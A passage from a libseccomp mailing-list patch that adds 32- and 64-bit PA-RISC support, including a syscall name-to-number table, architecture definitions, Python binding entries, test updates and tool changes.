+	{ "cachectl",	__PNR_cachectl },
+	{ "cacheflush",	__PNR_cacheflush },
+	{ "capget",	106 },
+	{ "capset",	107 },
+	{ "chdir",	12 },
+	{ "chmod",	15 },
+	{ "chown",	180 },
+	{ "chown32",	__PNR_chown32 },
+	{ "chroot",	61 },
+	{ "clock_adjtime",	324 },
+	{ "clock_getres",	257 },
+	{ "clock_gettime",	256 },
+	{ "clock_nanosleep",	258 },
+	{ "clock_settime",	255 },
+	{ "clone",	120 },
+	{ "close",	6 },
+	{ "connect",	31 },
+	{ "copy_file_range", 346 },
+	{ "creat",	8 },
+	{ "create_module",	127 },
+	{ "delete_module",	129 },
+	{ "dup",	41 },
+	{ "dup2",	63 },
+	{ "dup3",	312 },
+	{ "epoll_create",	224 },
+	{ "epoll_create1",	311 },
+	{ "epoll_ctl",	225 },
+	{ "epoll_ctl_old", __PNR_epoll_ctl_old },
+	{ "epoll_pwait",	297 },
+	{ "epoll_wait",	226 },
+	{ "epoll_wait_old", __PNR_epoll_wait_old },
+	{ "eventfd",	304 },
+	{ "eventfd2",	310 },
+	{ "execve",	11 },
+	{ "execveat",	342 },
+	{ "exit",	1 },
+	{ "exit_group",	222 },
+	{ "faccessat",	287 },
+	{ "fadvise64",	__PNR_fadvise64 },
+	{ "fadvise64_64",	236 },
+	{ "fallocate",	305 },
+	{ "fanotify_init",	322 },
+	{ "fanotify_mark",	323 },
+	{ "fchdir",	133 },
+	{ "fchmod",	94 },
+	{ "fchmodat",	286 },
+	{ "fchown",	95 },
+	{ "fchown32",	__PNR_fchown32 },
+	{ "fchownat",	278 },
+	{ "fcntl",	55 },
+	{ "fcntl64",	202 },
+	{ "fdatasync",	148 },
+	{ "fgetxattr",	243 },
+	{ "finit_module",	333 },
+	{ "flistxattr",	246 },
+	{ "flock",	143 },
+	{ "fork",	2 },
+	{ "fremovexattr",	249 },
+	{ "fsetxattr",	240 },
+	{ "fstat",	28 },
+	{ "fstat64",	112 },
+	{ "fstatat64",	280 },
+	{ "fstatfs",	100 },
+	{ "fstatfs64",	299 },
+	{ "fsync",	118 },
+	{ "ftime",	__PNR_ftime },
+	{ "ftruncate",	93 },
+	{ "ftruncate64",	200 },
+	{ "futex",	210 },
+	{ "futimesat",	279 },
+	{ "get_kernel_syms",	130 },
+	{ "get_mempolicy",	261 },
+	{ "get_robust_list",	290 },
+	{ "get_thread_area",	214 },
+	{ "getcpu",	296 },
+	{ "getcwd",	110 },
+	{ "getdents",	141 },
+	{ "getdents64",	201 },
+	{ "getegid",	50 },
+	{ "getegid32", __PNR_getegid32 },
+	{ "geteuid",	49 },
+	{ "geteuid32", __PNR_geteuid32 },
+	{ "getgid",	47 },
+	{ "getgid32",	__PNR_getgid32 },
+	{ "getgroups",	80 },
+	{ "getgroups32",__PNR_getgroups32 },
+	{ "getitimer",	105 },
+	{ "getpeername",	53 },
+	{ "getpgid",	132 },
+	{ "getpgrp",	65 },
+	{ "getpid",	20 },
+	{ "getpmsg",	196 },
+	{ "getppid",	64 },
+	{ "getpriority",	96 },
+	{ "getrandom",	339 },
+	{ "getresgid",	171 },
+	{ "getresgid32",__PNR_getresgid32 },
+	{ "getresuid",	165 },
+	{ "getresuid32",__PNR_getresuid32 },
+	{ "getrlimit",	76 },
+	{ "getrusage",	77 },
+	{ "getsid",	147 },
+	{ "getsockname",	44 },
+	{ "getsockopt",	182 },
+	{ "gettid",	206 },
+	{ "gettimeofday",	78 },
+	{ "getuid",	24 },
+	{ "getuid32",	__PNR_getuid32 },
+	{ "getxattr",	241 },
+	{ "gtty",	__PNR_gtty },
+	{ "idle",	__PNR_idle },
+	{ "init_module",	128 },
+	{ "inotify_add_watch",	270 },
+	{ "inotify_init",	269 },
+	{ "inotify_init1",	314 },
+	{ "inotify_rm_watch",	271 },
+	{ "io_cancel",	219 },
+	{ "io_destroy",	216 },
+	{ "io_getevents",	217 },
+	{ "io_setup",	215 },
+	{ "io_submit",	218 },
+	{ "ioctl",	54 },
+	{ "ioperm",	__PNR_ioperm },
+	{ "iopl",	__PNR_iopl },
+	{ "ioprio_get",	268 },
+	{ "ioprio_set",	267 },
+	{ "ipc",	__PNR_ipc },
+	{ "kcmp",	332 },
+	{ "kexec_file_load", __PNR_kexec_file_load },
+	{ "kexec_load",	300 },
+	{ "keyctl",	266 },
+	{ "kill",	37 },
+	{ "lchown",	16 },
+	{ "lchown32",	__PNR_lchown32 },
+	{ "lgetxattr",	242 },
+	{ "link",	9 },
+	{ "linkat",	283 },
+	{ "listen",	32 },
+	{ "listxattr",	244 },
+	{ "llistxattr",	245 },
+	{ "lock",	__PNR_lock },
+	{ "lookup_dcookie",	223 },
+	{ "lremovexattr",	248 },
+	{ "lseek",	19 },
+	{ "lsetxattr",	239 },
+	{ "lstat",	84 },
+	{ "lstat64",	198 },
+	{ "madvise",	119 },
+	{ "mbind",	260 },
+	{ "membarrier",	343 },
+	{ "memfd_create",	340 },
+	{ "migrate_pages",	272 },
+	{ "mincore",	72 },
+	{ "mkdir",	39 },
+	{ "mkdirat",	276 },
+	{ "mknod",	14 },
+	{ "mknodat",	277 },
+	{ "mlock",	150 },
+	{ "mlock2",	345 },
+	{ "mlockall",	152 },
+	{ "mmap",	90 },
+	{ "mmap2",	89 },
+	{ "modify_ldt",	__PNR_modify_ldt },
+	{ "mount",	21 },
+	{ "move_pages",	295 },
+	{ "mprotect",	125 },
+	{ "mpx",	__PNR_mpx },
+	{ "mq_getsetattr",	234 },
+	{ "mq_notify",	233 },
+	{ "mq_open",	229 },
+	{ "mq_timedreceive",	232 },
+	{ "mq_timedsend",	231 },
+	{ "mq_unlink",	230 },
+	{ "mremap",	163 },
+	{ "msgctl",	191 },
+	{ "msgget",	190 },
+	{ "msgrcv",	189 },
+	{ "msgsnd",	188 },
+	{ "msync",	144 },
+	{ "multiplexer", __PNR_multiplexer },
+	{ "munlock",	151 },
+	{ "munlockall",	153 },
+	{ "munmap",	91 },
+	{ "name_to_handle_at",	325 },
+	{ "nanosleep",	162 },
+	{ "newfstatat", __PNR_newfstatat },
+	{ "nfsservctl",	169 },
+	{ "nice",	34 },
+	{ "oldfstat",	__PNR_oldfstat },
+	{ "oldlstat",	__PNR_oldlstat },
+	{ "oldolduname",__PNR_oldolduname },
+	{ "oldstat",	__PNR_oldstat },
+	{ "olduname",	__PNR_olduname },
+	{ "oldwait4",	__PNR_oldwait4 },
+	{ "open",	5 },
+	{ "open_by_handle_at",	326 },
+	{ "openat",	275 },
+	{ "pause",	29 },
+	{ "pciconfig_iobase", __PNR_pciconfig_iobase },
+	{ "pciconfig_read", __PNR_pciconfig_read },
+	{ "pciconfig_write", __PNR_pciconfig_write },
+	{ "perf_event_open",	318 },
+	{ "personality",	136 },
+	{ "pipe",	42 },
+	{ "pipe2",	313 },
+	{ "pivot_root",	67 },
+	{ "poll",	168 },
+	{ "ppoll",	274 },
+	{ "prctl",	172 },
+	{ "pread64",	108 },
+	{ "preadv",	315 },
+	{ "prlimit64",	321 },
+	{ "process_vm_readv",	330 },
+	{ "process_vm_writev",	331 },
+	{ "prof",	__PNR_prof },
+	{ "profil",	__PNR_profil },
+	{ "pselect6",	273 },
+	{ "ptrace",	26 },
+	{ "putpmsg",	197 },
+	{ "pwrite64",	109 },
+	{ "pwritev",	316 },
+	{ "query_module",	167 },
+	{ "quotactl",	131 },
+	{ "read",	3 },
+	{ "readahead",	207 },
+	{ "readdir",	__PNR_readdir },
+	{ "readlink",	85 },
+	{ "readlinkat",	285 },
+	{ "readv",	145 },
+	{ "reboot",	88 },
+	{ "recv",	98 },
+	{ "recvfrom",	123 },
+	{ "recvmmsg",	319 },
+	{ "recvmsg",	184 },
+	{ "remap_file_pages",	227 },
+	{ "removexattr",	247 },
+	{ "rename",	38 },
+	{ "renameat",	282 },
+	{ "renameat2",	337 },
+	{ "request_key",	265 },
+	{ "restart_syscall",	0 },
+	{ "rmdir",	40 },
+	{ "rt_sigaction",	174 },
+	{ "rt_sigpending",	176 },
+	{ "rt_sigprocmask",	175 },
+	{ "rt_sigqueueinfo",	178 },
+	{ "rt_sigreturn",	173 },
+	{ "rt_sigsuspend",	179 },
+	{ "rt_sigtimedwait",	177 },
+	{ "rt_tgsigqueueinfo",	317 },
+	{ "rtas", __PNR_rtas },
+	{ "s390_pci_mmio_read", __PNR_s390_pci_mmio_read },
+	{ "s390_pci_mmio_write", __PNR_s390_pci_mmio_write },
+	{ "s390_runtime_instr", __PNR_s390_runtime_instr },
+	{ "sched_get_priority_max",	159 },
+	{ "sched_get_priority_min",	160 },
+	{ "sched_getaffinity",	212 },
+	{ "sched_getattr",	335 },
+	{ "sched_getparam",	155 },
+	{ "sched_getscheduler",	157 },
+	{ "sched_rr_get_interval",	161 },
+	{ "sched_setaffinity",	211 },
+	{ "sched_setattr",	334 },
+	{ "sched_setparam",	154 },
+	{ "sched_setscheduler",	156 },
+	{ "sched_yield",	158 },
+	{ "seccomp",	338 },
+	{ "security",	__PNR_security },
+	{ "select",	__PNR_select },
+	{ "semctl",	187 },
+	{ "semget",	186 },
+	{ "semop",	185 },
+	{ "semtimedop",	228 },
+	{ "send",	58 },
+	{ "sendfile",	122 },
+	{ "sendfile64",	209 },
+	{ "sendmmsg",	329 },
+	{ "sendmsg",	183 },
+	{ "sendto",	82 },
+	{ "set_mempolicy",	262 },
+	{ "set_robust_list",	289 },
+	{ "set_thread_area",	213 },
+	{ "set_tid_address",	237 },
+	{ "set_tls", __PNR_set_tls },
+	{ "setdomainname",	121 },
+	{ "setfsgid",	139 },
+	{ "setfsgid32",	__PNR_setfsgid32 },
+	{ "setfsuid",	138 },
+	{ "setfsuid32",	__PNR_setfsuid32 },
+	{ "setgid",	46 },
+	{ "setgid32",	__PNR_setgid32 },
+	{ "setgroups",	81 },
+	{ "setgroups32", __PNR_setgroups32},
+	{ "sethostname",	74 },
+	{ "setitimer",	104 },
+	{ "setns",	328 },
+	{ "setpgid",	57 },
+	{ "setpriority",	97 },
+	{ "setregid",	71 },
+	{ "setregid32", __PNR_setregid32 },
+	{ "setresgid",	170 },
+	{ "setresgid32",__PNR_setresgid32 },
+	{ "setresuid",	164 },
+	{ "setresuid32",__PNR_setresuid32 },
+	{ "setreuid",	70 },
+	{ "setreuid32",	__PNR_setreuid32 },
+	{ "setrlimit",	75 },
+	{ "setsid",	66 },
+	{ "setsockopt",	181 },
+	{ "settimeofday",	79 },
+	{ "setuid",	23 },
+	{ "setuid32",	__PNR_setuid32 },
+	{ "setxattr",	238 },
+	{ "sgetmask",	68 },
+	{ "shmat",	192 },
+	{ "shmctl",	195 },
+	{ "shmdt",	193 },
+	{ "shmget",	194 },
+	{ "shutdown",	117 },
+	{ "sigaction",	__PNR_sigaction },
+	{ "sigaltstack",166 },
+	{ "signal",	48 },
+	{ "signalfd",	302 },
+	{ "signalfd4",	309 },
+	{ "sigpending",	73 },
+	{ "sigprocmask",	126 },
+	{ "sigreturn",	__PNR_sigreturn },
+	{ "sigsuspend",	__PNR_sigsuspend },
+	{ "socket",	17 },
+	{ "socketcall",	__PNR_socketcall },
+	{ "socketpair",	56 },
+	{ "splice",	291 },
+	{ "spu_create", __PNR_spu_create },
+	{ "spu_run", __PNR_spu_run },
+	{ "ssetmask",	69 },
+	{ "stat",	18 },
+	{ "stat64",	101 },
+	{ "statfs",	99 },
+	{ "statfs64",	298 },
+	{ "stime",	25 },
+	{ "stty",	__PNR_stty },
+	{ "subpage_prot", __PNR_subpage_prot },
+	{ "swapcontext", __PNR_swapcontext },
+	{ "swapoff",	115 },
+	{ "swapon",	87 },
+	{ "switch_endian", __PNR_switch_endian },
+	{ "symlink",	83 },
+	{ "symlinkat",	284 },
+	{ "sync",	36 },
+	{ "sync_file_range",	292 },
+	{ "sync_file_range2", __PNR_sync_file_range2 },
+	{ "syncfs",	327 },
+	{ "syscall", __PNR_syscall },
+	{ "sys_debug_setcontext", __PNR_sys_debug_setcontext },
+	{ "sysfs",	135 },
+	{ "sysinfo",	116 },
+	{ "syslog",	103 },
+	{ "sysmips",	__PNR_sysmips },
+	{ "tee",	293 },
+	{ "tgkill",	259 },
+	{ "time",	13 },
+	{ "timer_create",	250 },
+	{ "timer_delete",	254 },
+	{ "timer_getoverrun",	253 },
+	{ "timer_gettime",	252 },
+	{ "timer_settime",	251 },
+	{ "timerfd",	303 },
+	{ "timerfd_create",	306 },
+	{ "timerfd_gettime",	308 },
+	{ "timerfd_settime",	307 },
+	{ "times",	43 },
+	{ "tkill",	208 },
+	{ "truncate",	92 },
+	{ "truncate64",	199 },
+	{ "tuxcall",	__PNR_tuxcall },
+	{ "ugetrlimit", __PNR_ugetrlimit },
+	{ "ulimit",	__PNR_ulimit },
+	{ "umask",	60 },
+	{ "umount",	__PNR_umount },
+	{ "umount2",	52 },
+	{ "uname",	59 },
+	{ "unlink",	10 },
+	{ "unlinkat",	281 },
+	{ "unshare",	288 },
+	{ "uselib",	86 },
+	{ "userfaultfd", 344 },
+	{ "usr26",	__PNR_usr26 },
+	{ "usr32",	__PNR_usr32 },
+	{ "ustat",	62 },
+	{ "utime",	30 },
+	{ "utimensat",	301 },
+	{ "utimes",	336 },
+	{ "vfork",	113 },
+	{ "vhangup",	111 },
+	{ "vm86",	__PNR_vm86 },
+	{ "vm86old",	__PNR_vm86old },
+	{ "vmsplice",	294 },
+	{ "vserver",	263 },
+	{ "wait4",	114 },
+	{ "waitid",	235 },
+	{ "waitpid",	7 },
+	{ "write",	4 },
+	{ "writev",	146 },
+	{ NULL, __NR_SCMP_ERROR },
+};
+
+/**
+ * Resolve a syscall name to a number
+ * @param name the syscall name
+ *
+ * Resolve the given syscall name to the syscall number using the syscall table.
+ * Returns the syscall number on success, including negative pseudo syscall
+ * numbers; returns __NR_SCMP_ERROR on failure.
+ *
+ */
+int parisc_syscall_resolve_name(const char *name)
+{
+	unsigned int iter;
+	const struct arch_syscall_def *table = parisc_syscall_table;
+
+	/* XXX - plenty of room for future improvement here */
+	for (iter = 0; table[iter].name != NULL; iter++) {
+		if (strcmp(name, table[iter].name) == 0)
+			return table[iter].num;
+	}
+
+	return __NR_SCMP_ERROR;
+}
+
+/**
+ * Resolve a syscall number to a name
+ * @param num the syscall number
+ *
+ * Resolve the given syscall number to the syscall name using the syscall table.
+ * Returns a pointer to the syscall name string on success, including pseudo
+ * syscall names; returns NULL on failure.
+ *
+ */
+const char *parisc_syscall_resolve_num(int num)
+{
+	unsigned int iter;
+	const struct arch_syscall_def *table = parisc_syscall_table;
+
+	/* XXX - plenty of room for future improvement here */
+	for (iter = 0; table[iter].num != __NR_SCMP_ERROR; iter++) {
+		if (num == table[iter].num)
+			return table[iter].name;
+	}
+
+	return NULL;
+}
+
+/**
+ * Iterate through the syscall table and return the syscall name
+ * @param spot the offset into the syscall table
+ *
+ * Return the syscall name at position @spot or NULL on failure.  This function
+ * should only ever be used internally by libseccomp.
+ *
+ */
+const char *parisc_syscall_iterate_name(unsigned int spot)
+{
+	/* XXX - no safety checks here */
+	return parisc_syscall_table[spot].name;
+}
diff --git a/src/arch-parisc.c b/src/arch-parisc.c
new file mode 100644
index 0000000..f317fed
--- /dev/null
+++ b/src/arch-parisc.c
@@ -0,0 +1,22 @@
+/*
+ * Copyright (c) 2016 Helge Deller <deller@gmx.de>
+ * Author: Helge Deller <deller@gmx.de>
+ */
+
+#include <stdlib.h>
+#include <errno.h>
+#include <linux/audit.h>
+
+#include "arch.h"
+#include "arch-parisc.h"
+
+const struct arch_def arch_def_parisc = {
+	.token = SCMP_ARCH_PARISC,
+	.token_bpf = AUDIT_ARCH_PARISC,
+	.size = ARCH_SIZE_32,
+	.endian = ARCH_ENDIAN_BIG,
+	.syscall_resolve_name = parisc_syscall_resolve_name,
+	.syscall_resolve_num = parisc_syscall_resolve_num,
+	.syscall_rewrite = NULL,
+	.rule_add = NULL,
+};
diff --git a/src/arch-parisc.h b/src/arch-parisc.h
new file mode 100644
index 0000000..b9fe1df
--- /dev/null
+++ b/src/arch-parisc.h
@@ -0,0 +1,38 @@
+/**
+ * Enhanced Seccomp PARISC Specific Code
+ *
+ * Copyright (c) 2016 Helge Deller <deller@gmx.de>
+ *
+ */
+
+/*
+ * This library is free software; you can redistribute it and/or modify it
+ * under the terms of version 2.1 of the GNU Lesser General Public License as
+ * published by the Free Software Foundation.
+ *
+ * This library is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License
+ * for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public License
+ * along with this library; if not, see <http://www.gnu.org/licenses>.
+ */
+
+#ifndef _ARCH_PARISC_H
+#define _ARCH_PARISC_H
+
+#include <inttypes.h>
+
+#include "arch.h"
+#include "system.h"
+
+extern const struct arch_def arch_def_parisc;
+extern const struct arch_def arch_def_parisc64;
+
+int parisc_syscall_resolve_name(const char *name);
+const char *parisc_syscall_resolve_num(int num);
+
+const char *parisc_syscall_iterate_name(unsigned int spot);
+
+#endif
diff --git a/src/arch-parisc64.c b/src/arch-parisc64.c
new file mode 100644
index 0000000..2b63120
--- /dev/null
+++ b/src/arch-parisc64.c
@@ -0,0 +1,22 @@
+/*
+ * Copyright (c) 2016 Helge Deller <deller@gmx.de>
+ * Author: Helge Deller <deller@gmx.de>
+*/
+
+#include <stdlib.h>
+#include <errno.h>
+#include <linux/audit.h>
+
+#include "arch.h"
+#include "arch-parisc.h"
+
+const struct arch_def arch_def_parisc64 = {
+	.token = SCMP_ARCH_PARISC64,
+	.token_bpf = AUDIT_ARCH_PARISC64,
+	.size = ARCH_SIZE_64,
+	.endian = ARCH_ENDIAN_BIG,
+	.syscall_resolve_name = parisc_syscall_resolve_name,
+	.syscall_resolve_num = parisc_syscall_resolve_num,
+	.syscall_rewrite = NULL,
+	.rule_add = NULL,
+};
diff --git a/src/arch-syscall-check.c b/src/arch-syscall-check.c
index 71ec0b5..db7fb89 100644
--- a/src/arch-syscall-check.c
+++ b/src/arch-syscall-check.c
@@ -33,6 +33,7 @@
 #include "arch-mips.h"
 #include "arch-mips64.h"
 #include "arch-mips64n32.h"
+#include "arch-parisc.h"
 #include "arch-ppc.h"
 #include "arch-ppc64.h"
 #include "arch-s390.h"
@@ -71,6 +72,7 @@ int main(int argc, char *argv[])
 	int i_mips = 0;
 	int i_mips64 = 0;
 	int i_mips64n32 = 0;
+	int i_parisc = 0;
 	int i_ppc = 0;
 	int i_ppc64 = 0;
 	int i_s390 = 0;
@@ -101,6 +103,8 @@ int main(int argc, char *argv[])
 			      mips64_syscall_iterate_name(i_mips64));
 		syscall_check(str_miss, sys_name, "mips64n32",
 			      mips64n32_syscall_iterate_name(i_mips64n32));
+		syscall_check(str_miss, sys_name, "parisc",
+			      parisc_syscall_iterate_name(i_parisc));
 		syscall_check(str_miss, sys_name, "ppc",
 			      ppc_syscall_iterate_name(i_ppc));
 		syscall_check(str_miss, sys_name, "ppc64",
@@ -135,6 +139,8 @@ int main(int argc, char *argv[])
 			i_mips64 = -1;
 		if (!mips64n32_syscall_iterate_name(++i_mips64n32))
 			i_mips64n32 = -1;
+		if (!parisc_syscall_iterate_name(++i_parisc))
+			i_parisc = -1;
 		if (!ppc_syscall_iterate_name(++i_ppc))
 			i_ppc = -1;
 		if (!ppc64_syscall_iterate_name(++i_ppc64))
@@ -146,6 +152,7 @@ int main(int argc, char *argv[])
 	} while (i_x86_64 >= 0 && i_x32 >= 0 &&
 		 i_arm >= 0 && i_aarch64 >= 0 &&
 		 i_mips >= 0 && i_mips64 >= 0 && i_mips64n32 >= 0 &&
+		 i_parisc >= 0 &&
 		 i_ppc >= 0 && i_ppc64 >= 0 &&
 		 i_s390 >= 0 && i_s390x >= 0);
 
@@ -190,6 +197,10 @@ int main(int argc, char *argv[])
 		       mips64n32_syscall_iterate_name(i_mips64n32));
 		return 1;
 	}
+	if (i_parisc >= 0) {
+		printf("%s: ERROR, parisc has additional syscalls\n",
+		       parisc_syscall_iterate_name(i_parisc));
+	}
 	if (i_ppc >= 0) {
 		printf("%s: ERROR, ppc has additional syscalls\n",
 		       ppc_syscall_iterate_name(i_ppc));
diff --git a/src/arch-syscall-dump.c b/src/arch-syscall-dump.c
index 636fd9a..c95b899 100644
--- a/src/arch-syscall-dump.c
+++ b/src/arch-syscall-dump.c
@@ -38,6 +38,7 @@
 #include "arch-mips64.h"
 #include "arch-mips64n32.h"
 #include "arch-aarch64.h"
+#include "arch-parisc.h"
 #include "arch-ppc.h"
 #include "arch-ppc64.h"
 #include "arch-s390.h"
@@ -116,6 +117,10 @@ int main(int argc, char *argv[])
 		case SCMP_ARCH_MIPSEL64N32:
 			sys_name = mips64n32_syscall_iterate_name(iter);
 			break;
+		case SCMP_ARCH_PARISC:
+		case SCMP_ARCH_PARISC64:
+			sys_name = parisc_syscall_iterate_name(iter);
+			break;
 		case SCMP_ARCH_PPC:
 			sys_name = ppc_syscall_iterate_name(iter);
 			break;
diff --git a/src/arch.c b/src/arch.c
index 0f24d1c..f5a898d 100644
--- a/src/arch.c
+++ b/src/arch.c
@@ -38,6 +38,7 @@
 #include "arch-mips.h"
 #include "arch-mips64.h"
 #include "arch-mips64n32.h"
+#include "arch-parisc.h"
 #include "arch-ppc.h"
 #include "arch-ppc64.h"
 #include "arch-s390.h"
@@ -79,6 +80,10 @@ const struct arch_def *arch_def_native = &arch_def_mips64n32;
 #elif __MIPSEL__
 const struct arch_def *arch_def_native = &arch_def_mipsel64n32;
 #endif /* _MIPS_SIM_NABI32 */
+#elif __hppa64__ /* hppa64 must be checked before hppa */
+const struct arch_def *arch_def_native = &arch_def_parisc64;
+#elif __hppa__
+const struct arch_def *arch_def_native = &arch_def_parisc;
 #elif __PPC64__
 #ifdef __BIG_ENDIAN__
 const struct arch_def *arch_def_native = &arch_def_ppc64;
@@ -139,6 +144,10 @@ const struct arch_def *arch_def_lookup(uint32_t token)
 		return &arch_def_mips64n32;
 	case SCMP_ARCH_MIPSEL64N32:
 		return &arch_def_mipsel64n32;
+	case SCMP_ARCH_PARISC:
+		return &arch_def_parisc;
+	case SCMP_ARCH_PARISC64:
+		return &arch_def_parisc64;
 	case SCMP_ARCH_PPC:
 		return &arch_def_ppc;
 	case SCMP_ARCH_PPC64:
@@ -185,6 +194,10 @@ const struct arch_def *arch_def_lookup_name(const char *arch_name)
 		return &arch_def_mips64n32;
 	else if (strcmp(arch_name, "mipsel64n32") == 0)
 		return &arch_def_mipsel64n32;
+	else if (strcmp(arch_name, "parisc64") == 0)
+		return &arch_def_parisc64;
+	else if (strcmp(arch_name, "parisc") == 0)
+		return &arch_def_parisc;
 	else if (strcmp(arch_name, "ppc") == 0)
 		return &arch_def_ppc;
 	else if (strcmp(arch_name, "ppc64") == 0)
diff --git a/src/gen_pfc.c b/src/gen_pfc.c
index 99c3297..b9c122e 100644
--- a/src/gen_pfc.c
+++ b/src/gen_pfc.c
@@ -71,6 +71,10 @@ static const char *_pfc_arch(const struct arch_def *arch)
 		return "mips64n32";
 	case SCMP_ARCH_MIPSEL64N32:
 		return "mipsel64n32";
+	case SCMP_ARCH_PARISC:
+		return "parisc";
+	case SCMP_ARCH_PARISC64:
+		return "parisc64";
 	case SCMP_ARCH_PPC64:
 		return "ppc64";
 	case SCMP_ARCH_PPC64LE:
diff --git a/src/python/libseccomp.pxd b/src/python/libseccomp.pxd
index 15c94f8..500da15 100644
--- a/src/python/libseccomp.pxd
+++ b/src/python/libseccomp.pxd
@@ -43,6 +43,8 @@ cdef extern from "seccomp.h":
         SCMP_ARCH_MIPSEL
         SCMP_ARCH_MIPSEL64
         SCMP_ARCH_MIPSEL64N32
+        SCMP_ARCH_PARISC
+        SCMP_ARCH_PARISC64
         SCMP_ARCH_PPC
         SCMP_ARCH_PPC64
         SCMP_ARCH_PPC64LE
diff --git a/src/python/seccomp.pyx b/src/python/seccomp.pyx
index c87bc3f..cb17642 100644
--- a/src/python/seccomp.pyx
+++ b/src/python/seccomp.pyx
@@ -147,6 +147,8 @@ cdef class Arch:
     MIPSEL - MIPS little endian O32 ABI
     MIPSEL64 - MIPS little endian 64-bit ABI
     MIPSEL64N32 - MIPS little endian N32 ABI
+    PARISC - 32-bit PA-RISC
+    PARISC64 - 64-bit PA-RISC
     PPC64 - 64-bit PowerPC
     PPC - 32-bit PowerPC
     """
@@ -165,6 +167,8 @@ cdef class Arch:
     MIPSEL = libseccomp.SCMP_ARCH_MIPSEL
     MIPSEL64 = libseccomp.SCMP_ARCH_MIPSEL64
     MIPSEL64N32 = libseccomp.SCMP_ARCH_MIPSEL64N32
+    PARISC = libseccomp.SCMP_ARCH_PARISC
+    PARISC64 = libseccomp.SCMP_ARCH_PARISC64
     PPC = libseccomp.SCMP_ARCH_PPC
     PPC64 = libseccomp.SCMP_ARCH_PPC64
     PPC64LE = libseccomp.SCMP_ARCH_PPC64LE
@@ -205,6 +209,10 @@ cdef class Arch:
                 self._token = libseccomp.SCMP_ARCH_MIPSEL64
             elif arch == libseccomp.SCMP_ARCH_MIPSEL64N32:
                 self._token = libseccomp.SCMP_ARCH_MIPSEL64N32
+            elif arch == libseccomp.SCMP_ARCH_PARISC:
+                self._token = libseccomp.SCMP_ARCH_PARISC
+            elif arch == libseccomp.SCMP_ARCH_PARISC64:
+                self._token = libseccomp.SCMP_ARCH_PARISC64
             elif arch == libseccomp.SCMP_ARCH_PPC:
                 self._token = libseccomp.SCMP_ARCH_PPC
             elif arch == libseccomp.SCMP_ARCH_PPC64:
diff --git a/tests/26-sim-arch_all_be_basic.c b/tests/26-sim-arch_all_be_basic.c
index d2c191c..d31ce12 100644
--- a/tests/26-sim-arch_all_be_basic.c
+++ b/tests/26-sim-arch_all_be_basic.c
@@ -52,6 +52,12 @@ int main(int argc, char *argv[])
 	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("mips64n32"));
 	if (rc != 0)
 		goto out;
+	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("parisc"));
+	if (rc != 0)
+		goto out;
+	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("parisc64"));
+	if (rc != 0)
+		goto out;
 	rc = seccomp_arch_add(ctx, seccomp_arch_resolve_name("ppc"));
 	if (rc != 0)
 		goto out;
diff --git a/tests/26-sim-arch_all_be_basic.py b/tests/26-sim-arch_all_be_basic.py
index b0b660a..3a177b4 100755
--- a/tests/26-sim-arch_all_be_basic.py
+++ b/tests/26-sim-arch_all_be_basic.py
@@ -33,6 +33,8 @@ def test(args):
     f.add_arch(Arch("mips"))
     f.add_arch(Arch("mips64"))
     f.add_arch(Arch("mips64n32"))
+    f.add_arch(Arch("parisc"))
+    f.add_arch(Arch("parisc64"))
     f.add_arch(Arch("ppc"))
     f.add_arch(Arch("ppc64"))
     f.add_arch(Arch("s390"))
diff --git a/tests/regression b/tests/regression
index 229b8a4..40567d5 100755
--- a/tests/regression
+++ b/tests/regression
@@ -28,6 +28,7 @@ GLBL_ARCH_LE_SUPPORT=" \
 	ppc64le"
 GLBL_ARCH_BE_SUPPORT=" \
 	mips mips64 mips64n32 \
+	parisc parisc64 \
 	ppc ppc64 \
 	s390 s390x"
 
@@ -702,7 +703,7 @@ function run_test_live() {
 
 	# setup the arch specific return values
 	case "$arch" in
-	x86|x86_64|x32|arm|aarch64|ppc|ppc64|ppc64le|ppc|s390|s390x)
+	x86|x86_64|x32|arm|aarch64|parisc|parisc64|ppc|ppc64|ppc64le|ppc|s390|s390x)
 		rc_kill=159
 		rc_allow=160
 		rc_trap=161
diff --git a/tools/scmp_arch_detect.c b/tools/scmp_arch_detect.c
index 4b452d1..ad43f2d 100644
--- a/tools/scmp_arch_detect.c
+++ b/tools/scmp_arch_detect.c
@@ -99,6 +99,12 @@ int main(int argc, char *argv[])
 		case SCMP_ARCH_MIPSEL64N32:
 			printf("mipsel64n32\n");
 			break;
+		case SCMP_ARCH_PARISC:
+			printf("parisc\n");
+			break;
+		case SCMP_ARCH_PARISC64:
+			printf("parisc64\n");
+			break;
 		case SCMP_ARCH_PPC:
 			printf("ppc\n");
 			break;
diff --git a/tools/scmp_bpf_sim.c b/tools/scmp_bpf_sim.c
index a0cf6d1..3d3204a 100644
--- a/tools/scmp_bpf_sim.c
+++ b/tools/scmp_bpf_sim.c
@@ -265,6 +265,10 @@ int main(int argc, char *argv[])
 				arch = AUDIT_ARCH_MIPS64N32;
 			else if (strcmp(optarg, "mipsel64n32") == 0)
 				arch = AUDIT_ARCH_MIPSEL64N32;
+			else if (strcmp(optarg, "parisc") == 0)
+				arch = AUDIT_ARCH_PARISC;
+			else if (strcmp(optarg, "parisc64") == 0)
+				arch = AUDIT_ARCH_PARISC64;
 			else if (strcmp(optarg, "ppc") == 0)
 				arch = AUDIT_ARCH_PPC;
 			else if (strcmp(optarg, "ppc64") == 0)
diff --git a/tools/util.c b/tools/util.c
index cc48647..7122335 100644
--- a/tools/util.c
+++ b/tools/util.c
@@ -62,6 +62,10 @@
 #elif __MIPSEL__
 #define ARCH_NATIVE		AUDIT_ARCH_MIPSEL64N32
 #endif /* _MIPS_SIM_NABI32 */
+#elif __hppa64__
+#define ARCH_NATIVE		AUDIT_ARCH_PARISC64
+#elif __hppa__
+#define ARCH_NATIVE		AUDIT_ARCH_PARISC
 #elif __PPC64__
 #ifdef __BIG_ENDIAN__
 #define ARCH_NATIVE		AUDIT_ARCH_PPC64

-- 
You received this message because you are subscribed to the Google Groups "libseccomp" group.
To unsubscribe from this group and stop receiving emails from it, send an email to libseccomp+unsubscribe@googlegroups.com.
To post to this group, send email to libseccomp@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
